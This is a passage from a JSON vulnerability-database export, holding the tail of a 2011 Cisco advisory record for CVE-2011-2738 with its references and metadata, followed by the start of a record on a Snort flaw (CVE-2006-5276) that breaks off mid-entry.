organizational mission. Due to the variety of affected\nproducts and releases, customers should consult with their service\nprovider or support organization to ensure any applied workaround or\nfix is the most appropriate for use in the intended network before it\nis deployed. \n\nCustomers without Service Contracts\n+----------------------------------\n\nCustomers who purchase direct from Cisco but do not hold a Cisco\nservice contract, and customers who purchase through third-party\nvendors but are unsuccessful in obtaining fixed software through\ntheir point of sale should acquire upgrades by contacting the Cisco\nTechnical Assistance Center (TAC). TAC contacts are as follows. \n\n * +1 800 553 2447 (toll free from within North America)\n * +1 408 526 7209 (toll call from anywhere in the world)\n * e-mail: tac@cisco.com\n\nCustomers should have their product serial number available and be\nprepared to give the URL of this notice as evidence of entitlement to\na free upgrade. Free upgrades for non-contract customers must be\nrequested through the TAC. \n\nRefer to: \nhttp://www.cisco.com/en/US/support/tsd_cisco_worldwide_contacts.html \nfor additional TAC contact information, including localized telephone \nnumbers, and instructions and e-mail addresses for use in various \nlanguages. \n\nExploitation and Public Announcements\n=====================================\n\nThe Cisco PSIRT is not aware of any public announcements or malicious\nuse of the vulnerabilities described in this advisory. \n\nThese vulnerabilities were reported to Cisco by ZDI and discovered by\nAbdulAziz Hariri. \n\nStatus of this Notice: FINAL\n============================\n\nTHIS DOCUMENT IS PROVIDED ON AN \"AS IS\" BASIS AND DOES NOT IMPLY ANY\nKIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF\nMERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE\nINFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS\nAT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS\nDOCUMENT AT ANY TIME. \n\nA stand-alone copy or Paraphrase of the text of this document that\nomits the distribution URL in the following section is an\nuncontrolled copy, and may lack important information or contain\nfactual errors. \n\nDistribution\n============\n\nThis advisory is posted on Cisco's worldwide website at :\n\nhttp://www.cisco.com/warp/public/707/cisco-sa-20110914-cusm.shtml\n\nIn addition to worldwide web posting, a text version of this notice\nis clear-signed with the Cisco PSIRT PGP key and is posted to the\nfollowing e-mail and Usenet news recipients. \n\n * cust-security-announce@cisco.com\n * first-bulletins@lists.first.org\n * bugtraq@securityfocus.com\n * vulnwatch@vulnwatch.org\n * cisco@spot.colorado.edu\n * cisco-nsp@puck.nether.net\n * full-disclosure@lists.grok.org.uk\n * comp.dcom.sys.cisco@newsgate.cisco.com\n\nFuture updates of this advisory, if any, will be placed on Cisco's\nworldwide website, but may or may not be actively announced on\nmailing lists or newsgroups. Users concerned about this problem are\nencouraged to check the above URL for any updates. \n\nRevision History\n================\n\n+----------------------------------------+\n| Revision | | Initial |\n| 1.0 | 2011-September-14 | public |\n| | | release |\n+----------------------------------------+\n\nCisco Security Procedures\n=========================\n\nComplete information on reporting security vulnerabilities in Cisco\nproducts, obtaining assistance with security incidents, and\nregistering to receive security information from Cisco, is available\non Cisco's worldwide website at: \nhttp://www.cisco.com/en/US/products/products_security_vulnerability_policy.html \nThis includes instructions for press inquiries regarding Cisco security notices. \nAll Cisco security advisories are available at:\nhttp://www.cisco.com/go/psirt\n\n+--------------------------------------------------------------------\nCopyright 2010-2011 Cisco Systems, Inc. All rights reserved. \n+--------------------------------------------------------------------\n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1.4.5 (SunOS)\n\niFcDBQFOb9w/QXnnBKKRMNARCBomAP9pCiRwCB8z3oe3IWB2XXNzeaQxAwoq0gQ4\n6znwu3lLSAD/Y6o+u8AofSMxkj3THWIdpbjVXKQXMal/BhxDhN5fsI8=\n=Ybok\n-----END PGP SIGNATURE-----\n\n_______________________________________________\nFull-Disclosure - We believe in it. \nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n", "trust": 3.78, "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "exploit_availability": { "sources": [ { "db": "VULHUB", "id": "VHN-50683" } ], "data": [ { "type": "unknown", "reference": "https://www.scap.org.cn/vuln/vhn-50683", "trust": 0.1 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/exploit_availability#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "external_ids": { "sources": [ { "db": "ZDI", "id": "ZDI-11-291" }, { "db": "ZDI", "id": "ZDI-11-292" }, { "db": "VULHUB", "id": "VHN-50683" }, { "db": "BID", "id": "49627" }, { "db": "BID", "id": "49644" }, { "db": "JVNDB", "id": "JVNDB-2011-002230" }, { "db": "PACKETSTORM", "id": "105114" }, { "db": "PACKETSTORM", "id": "105141" }, { "db": "PACKETSTORM", "id": "105125" }, { "db": "CNNVD", "id": "CNNVD-201109-253" }, { "db": "CNNVD", "id": "CNNVD-201109-238" }, { "db": "NVD", "id": "CVE-2011-2738" } ], "data": [ { "db": "NVD", "id": "CVE-2011-2738", "trust": 4.8 }, { "db": "SECUNIA", "id": "45979", "trust": 2.5 }, { "db": "SECUNIA", "id": "46016", "trust": 2.5 }, { "db": "OSVDB", "id": "75442", "trust": 2.5 }, { "db": "BID", "id": "49627", "trust": 2.2 }, { "db": "BID", "id": "49644", "trust": 2.0 }, { "db": "SECTRACK", "id": "1026047", "trust": 1.9 }, { "db": "SECTRACK", "id": "1026048", "trust": 1.9 }, { "db": "SECUNIA", "id": "46053", "trust": 1.7 }, { "db": "SECUNIA", "id": "46052", "trust": 1.7 }, { "db": "SECTRACK", "id": "1026059", "trust": 1.1 }, { "db": "SECTRACK", "id": "1026046", "trust": 1.1 }, { "db": "ZDI", "id": "ZDI-11-291", "trust": 1.0 }, { "db": "ZDI", "id": "ZDI-11-292", "trust": 1.0 }, { "db": "JVNDB", "id": "JVNDB-2011-002230", "trust": 0.8 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-1109", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-1258", "trust": 0.7 }, { "db": "CNNVD", "id": "CNNVD-201109-238", "trust": 0.7 }, { "db": "CNNVD", "id": "CNNVD-201109-253", "trust": 0.6 }, { "db": "CISCO", "id": "20110914 CISCOWORKS LAN MANAGEMENT SOLUTION REMOTE CODE EXECUTION VULNERABILITIES", "trust": 0.6 }, { "db": "CISCO", "id": "20110914 CISCO UNIFIED SERVICE MONITOR AND CISCO UNIFIED OPERATIONS MANAGER REMOTE CODE EXECUTION VULNERABILITIES", "trust": 0.6 }, { "db": "NSFOCUS", "id": "17740", "trust": 0.6 }, { "db": "NSFOCUS", "id": "17735", "trust": 0.6 }, { "db": "PACKETSTORM", "id": "105125", "trust": 0.2 }, { "db": "PACKETSTORM", "id": "105114", "trust": 0.2 }, { "db": "PACKETSTORM", "id": "105141", "trust": 0.2 }, { "db": "VULHUB", "id": "VHN-50683", "trust": 0.1 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot": { "sources": [ { "db": "VULHUB", "id": "VHN-50683" } ], "data": true, "trust": 0.7875, "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "patch": { "sources": [ { "db": "ZDI", "id": "ZDI-11-291" }, { "db": "ZDI", "id": "ZDI-11-292" }, { "db": "JVNDB", "id": "JVNDB-2011-002230" } ], "data": [ { "title": "cisco-sa-20110914-lms", "url": "http://www.cisco.com/en/us/products/products_security_advisory09186a0080b9351f.shtml", "trust": 0.8 }, { "title": "cisco-sa-20110914-cusm", "url": "http://www.cisco.com/en/us/products/products_security_advisory09186a0080b9351e.shtml", "trust": 0.8 }, { "title": "cisco-sa-20110914-lms", "url": "http://www.cisco.com/cisco/web/support/jp/110/1108/1108577_cisco-sa-20110914-lms-j.html", "trust": 0.8 }, { "title": "cisco-sa-20110914-cusm", "url": "http://www.cisco.com/cisco/web/support/jp/110/1108/1108578_cisco-sa-20110914-cusm-j.html", "trust": 0.8 }, { "title": "EMC has issued an update to correct this vulnerability. Cisco has issued an update to correct this vulnerability.http://www.cisco.com/warp/public/707/cisco-sa-20110914-lms.shtml", "url": "http://www.securityfocus.com/archive/1/519646/30/0/threaded", "trust": 0.7 }, { "title": "Cisco has issued an update to correct this vulnerability. EMC has issued an update to correct this vulnerability.http://www.securityfocus.com/archive/1/519646/30/0/threaded", "url": "http://www.cisco.com/warp/public/707/cisco-sa-20110914-lms.shtml", "trust": 0.7 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources": { "data": [ { "db": "ZDI", "id": "ZDI-11-291" }, { "db": "ZDI", "id": "ZDI-11-292" }, { "db": "VULHUB", "id": "VHN-50683" }, { "db": "BID", "id": "49627" }, { "db": "BID", "id": "49644" }, { "db": "JVNDB", "id": "JVNDB-2011-002230" }, { "db": "PACKETSTORM", "id": "105114" }, { "db": "PACKETSTORM", "id": "105141" }, { "db": "PACKETSTORM", "id": "105125" }, { "db": "CNNVD", "id": "CNNVD-201109-253" }, { "db": "CNNVD", "id": "CNNVD-201109-238" }, { "db": "NVD", "id": "CVE-2011-2738" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } } }, "problemtype_data": { "sources": [ { "db": "NVD", "id": "CVE-2011-2738" } ], "data": [ { "trust": 1.0, "problemtype": "NVD-CWE-noinfo" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "references": { "sources": [ { "db": "ZDI", "id": "ZDI-11-291" }, { "db": "ZDI", "id": "ZDI-11-292" }, { "db": "VULHUB", "id": "VHN-50683" }, { "db": "BID", "id": "49627" }, { "db": "BID", "id": "49644" }, { "db": "JVNDB", "id": "JVNDB-2011-002230" }, { "db": "PACKETSTORM", "id": "105114" }, { "db": "PACKETSTORM", "id": "105141" }, { "db": "PACKETSTORM", "id": "105125" }, { "db": "CNNVD", "id": "CNNVD-201109-253" }, { "db": "CNNVD", "id": "CNNVD-201109-238" }, { "db": "NVD", "id": "CVE-2011-2738" } ], "data": [ { "url": "http://secunia.com/advisories/45979", "trust": 2.5 }, { "url": "http://secunia.com/advisories/46016", "trust": 2.5 }, { "url": "http://www.cisco.com/en/us/products/products_security_advisory09186a0080b9351e.shtml", "trust": 2.0 }, { "url": "http://www.cisco.com/en/us/products/products_security_advisory09186a0080b9351f.shtml", "trust": 2.0 }, { "url": "http://www.securityfocus.com/bid/49627", "trust": 1.9 }, { "url": "http://www.securitytracker.com/id?1026047", "trust": 1.9 }, { "url": "http://www.securitytracker.com/id?1026048", "trust": 1.9 }, { "url": "http://www.securityfocus.com/bid/49644", "trust": 1.7 }, { "url": "http://www.osvdb.org/75442", "trust": 1.7 }, { "url": "http://secunia.com/advisories/46052", "trust": 1.7 }, { "url": "http://secunia.com/advisories/46053", "trust": 1.7 }, { "url": "http://www.cisco.com/warp/public/707/cisco-sa-20110914-lms.shtml", "trust": 1.6 }, { "url": "http://www.securityfocus.com/archive/1/519646/30/0/threaded", "trust": 1.4 }, { "url": "http://www.securityfocus.com/archive/1/519646/100/0/threaded", "trust": 1.1 }, { "url": "http://www.securitytracker.com/id?1026046", "trust": 1.1 }, { "url": "http://www.securitytracker.com/id?1026059", "trust": 1.1 }, { "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/69828", "trust": 1.1 }, { "url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2011-2738", "trust": 0.8 }, { "url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2011-2738", "trust": 0.8 }, { "url": "http://osvdb.org/75442", "trust": 0.8 }, { "url": "http://www.nsfocus.net/vulndb/17740", "trust": 0.6 }, { "url": "http://www.nsfocus.net/vulndb/17735", "trust": 0.6 }, { "url": "http://www.cisco.com/en/us/products/products_applied_mitigation_bulletin09186a0080b93520.html", "trust": 0.3 }, { "url": "http://www.cisco.com/", "trust": 0.3 }, { "url": "http://www.zerodayinitiative.com/advisories/zdi-11-291/?utm_source=feedburner&utm_medium=feed&utm_campaign=feed%3a+zdi-published-advisories+%28zero+day+initiative+published+advisories%29", "trust": 0.3 }, { "url": "http://www.zerodayinitiative.com/advisories/zdi-11-292/?utm_source=feedburner&utm_medium=feed&utm_campaign=feed%3a+zdi-published-advisories+%28zero+day+initiative+published+advisories%29", "trust": 0.3 }, { "url": "http://www.emc.com/", "trust": 0.3 }, { "url": "/archive/1/519646", "trust": 0.3 }, { "url": "https://nvd.nist.gov/vuln/detail/cve-2011-2738", "trust": 0.3 }, { "url": "http://www.cisco.com/warp/public/707/cisco-sa-20110914-cusm.shtml", "trust": 0.2 }, { "url": "http://www.cisco.com/go/psirt", "trust": 0.2 }, { "url": "http://www.cisco.com/en/us/support/tsd_cisco_worldwide_contacts.html", "trust": 0.2 }, { "url": "http://www.cisco.com/en/us/products/products_security_vulnerability_policy.html", "trust": 0.2 }, { "url": "http://www.cisco.com/en/us/docs/general/warranty/english/eu1ken_.html", "trust": 0.2 }, { "url": "http://secunia.com/", "trust": 0.2 }, { "url": "http://www.cisco.com/web/about/security/intelligence/cvss-qandas.html", "trust": 0.2 }, { "url": "http://www.cisco.com/warp/public/707/cisco-amb-201100914-cusm-lms.shtml", "trust": 0.2 }, { "url": "http://lists.grok.org.uk/full-disclosure-charter.html", "trust": 0.2 }, { "url": "http://www.cisco.com/public/sw-center/sw-usingswc.shtml", "trust": 0.2 }, { "url": "http://intellishield.cisco.com/security/alertmanager/cvss", "trust": 0.2 }, { "url": "http://www.cisco.com", "trust": 0.1 }, { "url": "http://www.cisco.com/cisco/software/navigator.html?mdfid=283427841&i=rm", "trust": 0.1 }, { "url": "http://www.emc.com/contact-us/contact/product-security-response-center.htm", "trust": 0.1 }, { "url": "http://www.zerodayinitiative.com)", "trust": 0.1 }, { "url": "http://www.cisco.com/cisco/software/navigator.html?mdfid=280110371&i=rm", "trust": 0.1 }, { "url": "http://www.cisco.com.", "trust": 0.1 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/references#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources_update_date": { "data": [ { "db": "ZDI", "id": "ZDI-11-291", "date": "2011-10-18T00:00:00" }, { "db": "ZDI", "id": "ZDI-11-292", "date": "2011-10-18T00:00:00" }, { "db": "VULHUB", "id": "VHN-50683", "date": "2018-10-09T00:00:00" }, { "db": "BID", "id": "49627", "date": "2011-10-18T19:01:00" }, { "db": "BID", "id": "49644", "date": "2015-04-13T21:01:00" }, { "db": "JVNDB", "id": "JVNDB-2011-002230", "date": "2011-09-22T00:00:00" }, { "db": "CNNVD", "id": "CNNVD-201109-253", "date": "2011-09-19T00:00:00" }, { "db": "CNNVD", "id": "CNNVD-201109-238", "date": "2011-09-20T00:00:00" }, { "db": "NVD", "id": "CVE-2011-2738", "date": "2018-10-09T19:32:57.510000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } } }, "sources_release_date": { "data": [ { "db": "ZDI", "id": "ZDI-11-291", "date": "2011-10-18T00:00:00" }, { "db": "ZDI", "id": "ZDI-11-292", "date": "2011-10-18T00:00:00" }, { "db": "VULHUB", "id": "VHN-50683", "date": "2011-09-19T00:00:00" }, { "db": "BID", "id": "49627", "date": "2011-09-14T00:00:00" }, { "db": "BID", "id": "49644", "date": "2011-09-15T00:00:00" }, { "db": "JVNDB", "id": "JVNDB-2011-002230", "date": "2011-09-22T00:00:00" }, { "db": "PACKETSTORM", "id": "105114", "date": "2011-09-14T22:47:31" }, { "db": "PACKETSTORM", "id": "105141", "date": "2011-09-15T18:39:44" }, { "db": "PACKETSTORM", "id": "105125", "date": "2011-09-14T22:58:10" }, { "db": "CNNVD", "id": "CNNVD-201109-253", "date": "1900-01-01T00:00:00" }, { "db": "CNNVD", "id": "CNNVD-201109-238", "date": "1900-01-01T00:00:00" }, { "db": "NVD", "id": "CVE-2011-2738", "date": "2011-09-19T12:02:55.357000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } } }, "threat_type": { "sources": [ { "db": "PACKETSTORM", "id": "105114" }, { "db": "PACKETSTORM", "id": "105141" }, { "db": "PACKETSTORM", "id": "105125" }, { "db": "CNNVD", "id": "CNNVD-201109-253" }, { "db": "CNNVD", "id": "CNNVD-201109-238" } ], "data": "remote", "trust": 1.5, "@context": { "@vocab": "https://www.variotdbs.pl/ref/threat_type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "title": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2011-002230" } ], "data": "Cisco Unified Service Monitor Vulnerable to arbitrary code execution", "trust": 0.8, "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "type": { "sources": [ { "db": "CNNVD", "id": "CNNVD-201109-253" } ], "data": "buffer overflow", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cve": "CVE-2011-2738", "last_update_date": "2024-07-23T22:43:49.590000Z", "@id": "https://www.variotdbs.pl/vuln/VAR-201109-0089", "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" } } } ``` ## [var-200702-0378](https://vulnerability.circl.lu/vuln/var-200702-0378) ```json { "id": "VAR-200702-0378", "affected_products": { "sources": [ { "db": "CERT/CC", "id": "VU#196240" }, { "db": "BID", "id": "22616" }, { "db": "JVNDB", "id": "JVNDB-2007-000170" }, { "db": "CNNVD", "id": "CNNVD-200702-347" }, { "db": "NVD", "id": "CVE-2006-5276" } ], "data": [ { "vendor": "snort", "model": "snort", "version": "2.6.1.1", "scope": "eq", "trust": 2.4 }, { "vendor": "snort", "model": "snort", "version": "2.6.1", "scope": "eq", "trust": 2.4 }, { "vendor": "snort", "model": "snort", "version": "2.7_beta1", "scope": "eq", "trust": 1.6 }, { "vendor": "snort", "model": "snort", "version": "2.6.1.2", "scope": "eq", "trust": 1.4 }, { "vendor": "sourcefire", "model": "intrusion sensor", "version": "4.5", "scope": "eq", "trust": 1.0 }, { "vendor": "sourcefire", "model": "intrusion sensor", "version": "4.1", "scope": "eq", "trust": 1.0 }, { "vendor": "sourcefire", "model": "intrusion sensor", "version": "4.6", "scope": "eq", "trust": 1.0 }, { "vendor": "snort", "model": "snort", "version": "2.6.1.2", "scope": "lte", "trust": 1.0 }, { "vendor": "gentoo linux", "model": null, "version": null, "scope": null, "trust": 0.8 }, { "vendor": "nortel", "model": null, "version": null, "scope": null, "trust": 0.8 }, { "vendor": "snort", "model": null, "version": null, "scope": null, "trust": 0.8 }, { "vendor": "sourcefire", "model": null, "version": null, "scope": null, "trust": 0.8 }, { "vendor": "sourcefire", "model": "intrusion sensor", "version": "4.5.x", "scope": "eq", "trust": 0.8 }, { "vendor": "snort", "model": "snort", "version": "2.7.0 beta 1", "scope": "eq", "trust": 0.8 }, { "vendor": "sourcefire", "model": "intrusion sensor", "version": "for crossbeam version 4.1.x", "scope": "eq", "trust": 0.8 }, { "vendor": "sourcefire", "model": "intrusion sensor", "version": "4.6x of seu 64 earlier versions", "scope": "lt", "trust": 0.8 }, { "vendor": "sourcefire", "model": "intrusion sensor", "version": "version 4.1.x", "scope": "eq", "trust": 0.8 }, { "vendor": "snort", "model": "project snort", "version": "2.6.1.2", "scope": "eq", "trust": 0.3 }, { "vendor": "snort", "model": "project snort", "version": "2.6.1.1", "scope": "eq", "trust": 0.3 }, { "vendor": "snort", "model": "project snort", "version": "2.6.1", "scope": "eq", "trust": 0.3 }, { "vendor": "snort", "model": "project snort beta", "version": "2.7.01", "scope": "eq", "trust": 0.3 }, { "vendor": "s u s e", "model": "opensuse", "version": "10.1", "scope": "eq", "trust": 0.3 }, { "vendor": "redhat", "model": "fedora core7", "version": null, "scope": null, "trust": 0.3 }, { "vendor": "redhat", "model": "enterprise linux as", "version": "4", "scope": "eq", "trust": 0.3 }, { "vendor": "nortel", "model": "networks threat protection system intrusion sensor", "version": "4.1", "scope": "eq", "trust": 0.3 }, { "vendor": "nortel", "model": "networks threat protection system intrusion sensor", "version": "4.6", "scope": "eq", "trust": 0.3 }, { "vendor": "nortel", "model": "networks threat protection system intrusion sensor", "version": "4.5", "scope": "eq", "trust": 0.3 }, { "vendor": "nortel", "model": "networks threat protection system defense center", "version": "4.1", "scope": "eq", "trust": 0.3 }, { "vendor": "nortel", "model": "networks threat protection system defense center", "version": "4.6", "scope": "eq", "trust": 0.3 }, { "vendor": "nortel", "model": "networks threat protection system defense center", "version": "4.5", "scope": "eq", "trust": 0.3 }, { "vendor": "gentoo", "model": "net-analyzer/snort", "version": "2.6.1", "scope": "eq", "trust": 0.3 }, { "vendor": "debian", "model": "linux sparc", "version": "4.0", "scope": "eq", "trust": 0.3 }, { "vendor": "debian", "model": "linux s/390", "version": "4.0", "scope": "eq", "trust": 0.3 }, { "vendor": "debian", "model": "linux powerpc", "version": "4.0", "scope": "eq", "trust": 0.3 }, { "vendor": "debian", "model": "linux mipsel", "version": "4.0", "scope": "eq", "trust": 0.3 }, { "vendor": "debian", "model": "linux mips", "version": "4.0", "scope": "eq", "trust": 0.3 }, { "vendor": "debian", "model": "linux m68k", "version": "4.0", "scope": "eq", "trust": 0.3 }, { "vendor": "debian", "model": "linux ia-64", "version": "4.0", "scope": "eq", "trust": 0.3 }, { "vendor": "debian", "model": "linux ia-32", "version": "4.0", "scope": "eq", "trust": 0.3 }, { "vendor": "debian", "model": "linux hppa", "version": "4.0", "scope": "eq", "trust": 0.3 }, { "vendor": "debian", "model": "linux arm", "version": "4.0", "scope": "eq", "trust": 0.3 }, { "vendor": "debian", "model": "linux amd64", "version": "4.0", "scope": "eq", "trust": 0.3 }, { "vendor": "debian", "model": "linux alpha", "version": "4.0", "scope": "eq", "trust": 0.3 }, { "vendor": "debian", "model": "linux", "version": "4.0", "scope": "eq", "trust": 0.3 }, { "vendor": "snort", "model": "project snort", "version": "2.6.1.3", "scope": "ne", "trust": 0.3 }, { "vendor": "gentoo", "model": "net-analyzer/snort", "version": "2.6.1.3", "scope": "ne", "trust": 0.3 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "configurations": { "sources": [ { "db": "NVD", "id": "CVE-2006-5276" } ], "data": [ { "CVE_data_version": "4.0", "nodes": [ { "operator": "OR", "children": [], "cpe_match": [ { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:snort:snort:2.6.1:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:snort:snort:2.6.1.1:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:sourcefire:intrusion_sensor:4.6:*:crossbeam:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:snort:snort:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.6.1.2", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:sourcefire:intrusion_sensor:4.5:*:crossbeam:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:sourcefire:intrusion_sensor:4.6:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:snort:snort:2.7_beta1:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:sourcefire:intrusion_sensor:4.1:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:sourcefire:intrusion_sensor:4.1:*:crossbeam:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:sourcefire:intrusion_sensor:4.5:*:*:*:*:*:*:*", "cpe_name": [] } ] } ] } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/configurations#", "data": { "@container": "@list" }, "nodes": { "@container": "@list" }, "cpe_match": { "@container": "@list" }, "children": { "@container": "@list" } } }, "credits": { "sources": [ { "db": "CNNVD", "id": "CNNVD-200702-347" } ], "data": "Neel Mehta", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/credits#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cvss": { "sources": [ { "db": "CERT/CC", "id": "VU#196240" }, { "db": "VULHUB", "id": "VHN-21384" }, { "db": "VULMON", "id": "CVE-2006-5276" }, { "db": "JVNDB", "id": "JVNDB-2007-000170" }, { "db": "CNNVD", "id": "CNNVD-200702-347" }, { "db": "NVD", "id": "CVE-2006-5276" } ], "data": [ { "severity": [ { "value": "HIGH", "author": "NVD", "id": "CVE-2006-5276", "trust": 1.8 }, { "id": "VU#196240", "author": "CARNEGIE MELLON", "value": "23.63", "trust": 0.8 }, { "id": "CNNVD-200702-347", "value": "CRITICAL", "author": "CNNVD", "trust": 0.6 }, { "value": "HIGH", "author": "VULHUB", "id": "VHN-21384", "trust": 0.1 }, { "id": "CVE-2006-5276", "value": "HIGH", "author": "VULMON", "trust": 0.1 } ], "cvssV2": [ { "exploitabilityScore": 10.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": true, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false, "version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 10.0, "author": "NVD", "severity": "HIGH", "trust": 1.0 }, { "id": "CVE-2006-5276", "author": "NVD", "version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "accessVector": "Network", "accessComplexity": "Low", "authentication": "None", "confidentialityImpact": "Complete", "integrityImpact": "Complete", "availabilityImpact": "Complete", "baseScore": 10.0, "severity": "High", "exploitabilityScore": null, "impactScore": null, "acInsufInfo": null, "obtainAllPrivilege": null, "obtainUserPrivilege": null, "obtainOtherPrivilege": null, "userInteractionRequired": null, "trust": 0.9 }, { "version": "2.0", "vectorString": "AV:N/AC:L/AU:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 10.0, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 10.0, "id": "VHN-21384", "author": "VULHUB", "trust": 0.1 } ], "cvssV3": [] } ], "@context": { "cvssV3": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" } }, "cvssV2": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" } }, "severity": { "@id": "https://www.variotdbs.pl/ref/cvss/severity", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" } }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "description": { "sources": [ { "db": "NVD", "id": "CVE-2006-5276" }, { "db": "CERT/CC", "id": "VU#196240" }, { "db": "JVNDB", "id": "JVNDB-2007-000170" }, { "db": "BID", "id": "22616" }, { "db": "VULHUB", "id": "VHN-21384" }, { "db": "VULMON", "id": "CVE-2006-5276" }, { "db": "PACKETSTORM", "id": "54569" }, { "db": "PACKETSTORM", "id": "54522" }, { "db": "PACKETSTORM", "id": "54834" } ], "data": 